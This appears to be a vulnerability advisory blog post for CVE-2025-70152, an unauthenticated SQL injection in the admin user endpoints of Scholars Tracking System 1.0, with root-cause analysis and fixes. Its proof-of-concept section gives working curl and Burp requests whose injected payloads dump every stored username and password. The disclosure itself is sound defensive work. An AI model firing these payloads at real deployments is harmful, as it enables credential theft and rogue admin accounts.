Post

CVE-2025-70152 - Scholars Tracking System 1.0: Unauthenticated SQL Injection via /admin/save_user.php and /admin/update_user.php

Critical unauthenticated SQL injection in admin user management endpoints allows credential extraction and data manipulation in Scholars Tracking System 1.0.

CVE-2025-70152 - Scholars Tracking System 1.0: Unauthenticated SQL Injection via /admin/save_user.php and /admin/update_user.php

Summary

FieldDetail
CVE IDCVE-2025-70152
ProductScholars Tracking System in PHP 1.0
Vendorcode-projects
VulnerabilityMissing Authentication + SQL Injection
Attack VectorRemote, Unauthenticated
CVSS v3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Base Score: 9.8
CWECWE-306, CWE-89
DiscovererMinhKhoa
Date2025-12-28

1. Description

Scholars Tracking System in PHP 1.0 contains a Critical Unauthenticated SQL Injection vulnerability in the admin user management endpoints /admin/save_user.php and /admin/update_user.php.

These endpoints:

  • Do not enforce authentication or session checks (Missing Authentication - CWE-306)
  • Directly concatenate user-supplied POST parameters (firstname, lastname, username, password, user_id) into SQL queries without validation or parameterization (SQL Injection - CWE-89)

As a result, a remote unauthenticated attacker can inject malicious SQL via a simple HTTP POST request, potentially leading to:

  • Full database dump (credential extraction)
  • Data manipulation (INSERT / UPDATE of arbitrary records)
  • Denial of service via malformed queries

Attack Vector: Remote (Network) — direct HTTP POST request without any session cookie.

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base Score: 9.8)


2. Root Cause Analysis

2.1 Missing Authentication (CWE-306)

/admin/save_user.php and /admin/update_user.php perform privileged INSERT/UPDATE operations on the users table without verifying a valid admin session (e.g., session_start() + isset($_SESSION[...])).

This is a classic CWE-306 (Missing Authentication for Critical Function) pattern.

Note: Even though the server returns a 302 redirect to admin_user.php after processing, the SQL query is executed before the redirect — meaning the injection is processed regardless of the redirect response.

2.2 SQL Injection via POST parameters (CWE-89)

The endpoints directly concatenate user-supplied input into SQL INSERT/UPDATE statements without parameterization. Example (simplified):

1
2
3
4
5
6
7
8
// save_user.php (INSERT)
$firstname = $_POST['firstname'];
$lastname  = $_POST['lastname'];
$username  = $_POST['username'];
$password  = $_POST['password'];

$query = "INSERT INTO users (firstname, lastname, username, password, role)
          VALUES ('$firstname', '$lastname', '$username', '$password', 'ADMIN')";

An attacker can break out of the string context via a single quote (') and inject arbitrary SQL.

Confirmation of injection point: Sending a raw single quote in the password field triggers a Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 — confirming unsanitized input reaches the SQL engine.


3. Steps to Reproduce (PoC)

All requests below are sent without a Cookie header (no prior login required).
Replace TARGET with the base URL of your local test deployment.

PoC #1 — Confirm injection point (error-based)

Send a single quote in the password field:

1
2
3
curl -X POST "http://TARGET/admin/save_user.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "firstname=x&lastname=x&username=x&password='"

Observed result: HTTP 200 with a PHP Fatal error:

1
2
3
4
Fatal error: Uncaught PDOException: SQLSTATE[42000]:
Syntax error or access violation: 1064 You have an error
in your SQL syntax; ... near '''' at line 1 in
/var/www/html/admin/save_user.php:7

This confirms that the password parameter is injected directly into the SQL query without escaping.

SQL error confirming injection point


PoC #2 — Extract credentials via stacked INSERT injection (unauthenticated)

The following payload injects a second VALUES row into the INSERT statement, pulling username and password from the users table and inserting them as a new record (readable via the admin UI):

HTTP Request (Burp):

1
2
3
4
5
6
7
POST /admin/save_user.php HTTP/1.1
Host: 127.0.0.1:4444
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 165

firstname=x&lastname=x&username=x&password=x'),+((SELECT+username+FROM+users+WHERE+user_id=18),+(SELECT+password+FROM+users+WHERE+user_id=18),+'ADMIN',+'LEAKED')--+-

curl equivalent:

1
2
3
4
curl -X POST "http://127.0.0.1:4444/admin/save_user.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "firstname=x&lastname=x&username=x&password=x'),+((SELECT+GROUP_CONCAT(username+SEPARATOR+','))+FROM+users),+(SELECT+GROUP_CONCAT(password+SEPARATOR+',')+FROM+users),+'ALL',+'DUMP')--+-" \
  -v

Observed result: Server returns HTTP/1.1 302 Found redirecting to admin_user.php. Despite the redirect, the injected SQL was executed before the response — a new row containing the leaked credentials from the users table is inserted into the database.

The redirect does not indicate failure. The SQL injection executes server-side before any HTTP response is sent.

Burp Suite showing 302 response after successful injection


PoC #3 — Dump all credentials (batch extraction)

1
2
3
curl -X POST "http://127.0.0.1:4444/admin/save_user.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "firstname=x&lastname=x&username=x&password=x'),((SELECT GROUP_CONCAT(username SEPARATOR ',') FROM users),(SELECT GROUP_CONCAT(password SEPARATOR ',') FROM users),'ALL','DUMP')-- -"

Observed result: All usernames and passwords from the users table are injected into a new record, exposed via the admin panel or any endpoint that reads from the users table.


4. Impact

A remote unauthenticated attacker can:

  • Extract sensitive database records — admin credentials, user PII — without any authentication
  • Inject arbitrary data into the users table, creating rogue admin accounts
  • Manipulate or delete existing records if the database account has write/delete privileges
  • Cause application errors / DoS via malformed SQL queries

5. Recommendation / Fix

5.1 Enforce authentication before processing any admin action

At the start of both /admin/save_user.php and /admin/update_user.php:

1
2
3
4
5
6
7
<?php
session_start();
if (!isset($_SESSION['admin_id'])) {
    http_response_code(403);
    exit('Forbidden');
}
?>

5.2 Use prepared statements (parameterized queries)

Replace direct string concatenation with PDO prepared statements:

1
2
3
4
5
6
7
8
9
10
$stmt = $pdo->prepare(
    "INSERT INTO users (firstname, lastname, username, password, role)
     VALUES (:firstname, :lastname, :username, :password, 'ADMIN')"
);
$stmt->execute([
    ':firstname' => $_POST['firstname'],
    ':lastname'  => $_POST['lastname'],
    ':username'  => $_POST['username'],
    ':password'  => password_hash($_POST['password'], PASSWORD_BCRYPT),
]);

5.3 Additional hardening

  • Hash passwords using password_hash() / password_verify() — never store plaintext.
  • Apply least privilege to the database account (restrict INSERT/UPDATE/DELETE to only necessary tables).
  • Add CSRF tokens to admin forms to prevent cross-site request forgery once authentication is in place.
  • Consider rate limiting on admin endpoints.

6. References

  • CWE-306: Missing Authentication for Critical Function
  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
  • OWASP: SQL Injection — https://owasp.org/www-community/attacks/SQL_Injection
  • OWASP: Broken Access Control — https://owasp.org/Top10/A01_2021-Broken_Access_Control/
  • Vendor source: https://code-projects.org/scholars-tracking-system-in-php-with-source-code/
This post is licensed under CC BY 4.0 by the author.